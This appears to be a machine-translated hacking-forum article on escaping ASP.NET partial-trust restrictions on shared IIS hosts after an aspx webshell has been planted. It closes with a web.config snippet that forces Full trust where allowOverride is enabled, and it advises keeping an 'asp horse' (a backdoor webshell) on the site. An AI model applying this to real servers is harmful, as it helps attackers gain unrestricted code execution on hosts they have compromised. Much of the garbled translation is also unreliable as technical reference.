Breakthrough methods for off-star asp.net security mode (chicken ribs)

Author: constanding
This article means. If conditions permit, rewrite web. config to obtain permissions.

My introduction to the principles of error messages during the execution of the aspx Trojan attracted a lot of discussions. Later, the backerhack team published a breakthrough in the asp.net configuration file web. in his post, the command of config security restriction was executed. At first, I did not agree with his breakthrough method, because he wrote a vague statement, no specific instances, and no key points or methods for breakthrough. His point of view drove me to study ASP. NET code access security again comprehensively. I searched for the official microsoft ASP. NET Security Configuration Management and other materials, after repeated tests on local virtual machines and out-of-the-star hosts (IIS6.0 + 2003), and then summarizes this article. In the future, you can refer to this post when you encounter this situation. You are also welcome to reply to ASP. NET to express your views.
Learning ASP. NET all know ASP. when the NET program is executed on the server, it loads the configuration information in the configuration file, and then executes the ASP according to the settings of each node in the configuration file.. NET program. When the program needs to read information about a node or node group, it searches for information in the following ways:
1. If the web. config file exists in the directory where the current page is located, check whether the node name to be searched exists. If yes, return the result and stop searching.

2. If the directory of the current page does not contain the web. config file or the web. config file does not contain the node name, search for its parent directory until the root directory of the website.

3. If the root directory of the website does not exist. config file or web. if the node name does not exist in the config file, it is in % windir % \ Microsoft. NET \ Framework \ v2.0.50727 \ CONFIG \ web. search in the config file.

4. In % windir % \ Microsoft. NET \ Framework \ v2.0.50727 \ CONFIG \ web. if the config file does not contain any node, the node is in % windir % \ Microsoft. NET \ Framework \ v2.0.50727 \ CONFIG \ machine. search in the config file.

5. If not found, null is returned.
In microsoft's official "secure ASP. NET configuration" http://msdn.microsoft.com/zh-cn/library/ms178699 (v = vs.80). aspx has the following important points:

The Configuration System sets the permission before calling the custom configuration section handler, And the. NET Framework does not trust the call in any way. This call uses the trusted permissions of the application to run. ASP. NET Configuration System trust % SystemRoot % \ Microsoft. NET \ Framework \ version \ CONFIG directory, but it does not trust directories at lower levels in the hierarchy.

This indicates that the configuration file in % SystemRoot % \ Microsoft. NET \ Framework \ version \ CONFIG is the main configuration file, and its configuration node will not be affected by the web. config in the web directory.
And microsoft officially provides ASP locking. <location allowOverride = "false"> (false is the attribute) is used to lock the configuration settings to prevent application-level overwriting and prevent them from being overwritten by the configuration file. If you try to override the configuration settings in the "false" configuration section, a configuration system error occurs. therefore, when allowOverride is defined as the false attribute, the rewriting of the node by other sub-configuration files will be invalid and a configuration system error is thrown. For example:

(Note that this error message is not displayed on the client by default, and will only appear when executed on the server)
Next, let's talk about the asp.net security mode, which is the most important concern for everyone. I checked the asp.net configuration files of multiple out-of-star hosts and found that many of them were overwritten and locked in March 9.
Note: by default, the system configuration file can be overwritten without locking key nodes.

01 <location allowOverride = "true"> // key nodes can be overwritten and not locked.
02 <system. web>
03 <securityPolicy>

04 <trustLevel name = "Full" policyFile = "internal"/> // unlimited permissions. Applications can access any resources that fall within the operating system security scope. Supports all privileged operations

 

05 <trustLevel name = "High" policyFile = "web_hightrust.config"/> // you cannot call unmanaged code or service components. You cannot write Event Logs, access Microsoft Message queues, or access the ole db data source <trustLevel name = "Medium" policyFile = "web_mediumtrust.config"/> // In addition to the preceding restrictions, it also restricts access to files in the current application directory and does not allow access to the registry.

 

06 <trustLevel name = "Low" policyFile = "web_lowtrust.config"/> // In addition to the preceding restrictions, the application cannot be connected to SQL Server, and the code cannot call CodeAccessPermission. assert (no asserted security permissions)

 

07 <trustLevel name = "Minimal" policyFile = "web_minimaltrust.config"/> // only has the execution permission.

 

08 </securityPolicy>

 

09 <trust level = "Full" originUrl = ""/>

 

10 </system. web>

 

11 </location>

AllowOverride = "true" by default. You can use the sub-configuration file in the web directory to overwrite the node.
The following are key nodes in the asp.net configuration file of the out-of-the-star HOST:

01 <location allowOverride = "false"> // The key node is locked. rewriting of the node by other sub-configuration files is invalid.
02 <system. web>
03 <securityPolicy>
04 <trustLevel name = "Full" policyFile = "internal"/>
05 <trustLevel name = "High" policyFile = "web_hightrust.config"/>
06 <trustLevel name = "Medium" policyFile = "web_mediumtrust.config"/>
07 <trustLevel name = "Low" policyFile = "web_lowtrust.config"/>
08 <trustLevel name = "Minimal" policyFile = "web_minimaltrust.config"/>
09 </securityPolicy>
10 <trust level = "Full" originUrl = ""/>
11 <identity impersonate = "true"/>
12 </system. web>

 

That is to say, there is no effective breakthrough method for the off-star asp.net security mode, but other examples are not excluded. For example, if allowOverride is set to "true", the rewriting of this node in the sub-configuration file in the web directory is effective, so we can rewrite the configuration to break through.
The following is a breakthrough code ..
If the server enables the net security mode and the site structure is asp and allowOverride = is true, you can write the following web. config file in the website root directory. You can grant unlimited permissions to ASP. NET code executed under the web directory.

<? Xml version = "1.0" encoding = "UTF-8"?>

<Configuration>

<Location allowOverride = "false">
<System. web>
<SecurityPolicy>
<TrustLevel name = "Full" policyFile = "internal"/>
</SecurityPolicy>
<Trust level = "Full" originUrl = ""/>
</System. web>
</Location>

</Configuration>

If the site structure is ASP. NET, you can find the web. config file in the root directory and add the following nodes. (Note that you must first split the original file and leave an asp horse to prevent site crash .)

<Location allowOverride = "false">
<System. web>
<SecurityPolicy>
<TrustLevel name = "Full" policyFile = "internal"/>
</SecurityPolicy>
<Trust level = "Full" originUrl = ""/>
</System. web>
</Location>